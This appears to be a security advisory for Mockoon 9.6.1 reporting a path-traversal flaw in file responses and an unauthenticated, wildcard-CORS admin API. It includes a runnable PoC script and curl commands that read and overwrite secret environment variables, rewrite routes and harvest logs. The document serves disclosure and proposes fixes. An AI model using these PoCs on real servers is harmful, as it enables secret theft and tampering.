Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(Access to absolute path outside of the original static base directory (${resolvedPath})); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(Access to relative path outside of the environment base directory (${resolvedPath})); }
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../publicbackup/.env resolves to /srv/publicbackup/.env, and "/srv/publicbackup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/publicbackup && cd /work echo 'public landing page' > public/index.txt echo 'AWSSECRETACCESSKEY=redacted' > publicbackup/.env echo 'Michael, michael@example.com, 555-22-7741' > publicbackup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../publicbackup/.env :",await g("../publicbackup/.env")); console.log("[+] escape -> ../publicbackup/customers:",await g("../publicbackup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
Output:
text [] intended file (public/index.txt) : public landing page [+] escape -> ../publicbackup/.env : AWSSECRETACCESSKEY=redacted [+] escape -> ../publicbackup/customers: Michael, michael@example.com, 555-22-7741
../publicbackup/.env and ../publicbackup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public
Summary
Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOONADMINTOKEN env var — searched the repo, returns zero hits).
Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:
- Read every MOCKOON env var used by the operator as secret material in templates (getEnvVar helper). - Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOONAPIKEY, MOCKOONJWTSECRET, …, or write process-level vars like AWSSECRETACCESSKEY that the surrounding runtime consumes. - Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs.
Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.
---
Details
Root cause
packages/commons-server/src/libs/server/server.ts:127:
ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on };
packages/cli/src/commands/start.ts:200:
ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed
packages/serverless/src/libs/serverless.ts:21:
ts enableAdminApi: true, // ← default on, no flag to disable in the constructor
packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):
ts app.use(${adminApiPrefix}, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); });
packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):
ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: Environment variable '${key}' has been set to '${value}' }); } else { throw new Error('Key or value missing from request'); } } catch (error) { res.status(400).send({ message: 'Invalid request' }); } };
packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):
ts app.put(${adminApiPrefix}/environment, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (error) { res.status(400).send({ message: 'Invalid environment format' }); } });
Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.
---
PoC
Live reproduction (2026-05-11, @mockoon/cli@9.6.1)
npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOONAPIKEY'}}. Start with:
MOCKOONAPIKEY="sk-operator-real-secret-DONOTLEAKxyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file
Bind confirmed via lsof:
COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP :3100 (LISTEN) <-- all interfaces
Baseline mock response:
$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-operator-real-secret-DONOTLEAKxyz789"}
1) Read operator secret unauth
$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/APIKEY HTTP/1.1 200 OK access-control-allow-origin: {"key":"MOCKOONAPIKEY","value":"sk-operator-real-secret-DONOTLEAKxyz789"}
2) Poison operator secret unauth → downstream consumer ingests attacker value
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-POISONED-BY-ATTACKER'"}
$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}
3) Write arbitrary non-MOCKOON env var (no prefix gate)
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWSSECRETACCESSKEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWSSECRETACCESSKEY' has been set to 'overwritten-by-attacker'"}
4) Cross-origin CSRF from https://attacker.evil
$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}
Wildcard Access-Control-Allow-Origin: + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.
5) Rewrite every mock route via unauth PUT /environment
$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKERPWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"}
$ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKERPWNED","role":"admin","backdoor":true}
6) Read transaction logs / SSE stream → harvest consumer's auth headers
$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2
Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.
7) Purge state (DoS)
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"}
---
Impact
In typical local-dev mode (CVSS 8.8 High):
- Secret read of every MOCKOON env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS.
In network-exposed deployment (CVSS 9.4 Critical):
- All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.
---
Suggested fix
1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOONADMINTOKEN env var, compared with crypto.timingSafeEqual. 2. Stop sending Access-Control-Allow-Origin: on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix. 5. Add SECURITY.md with disclosure instructions. 6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.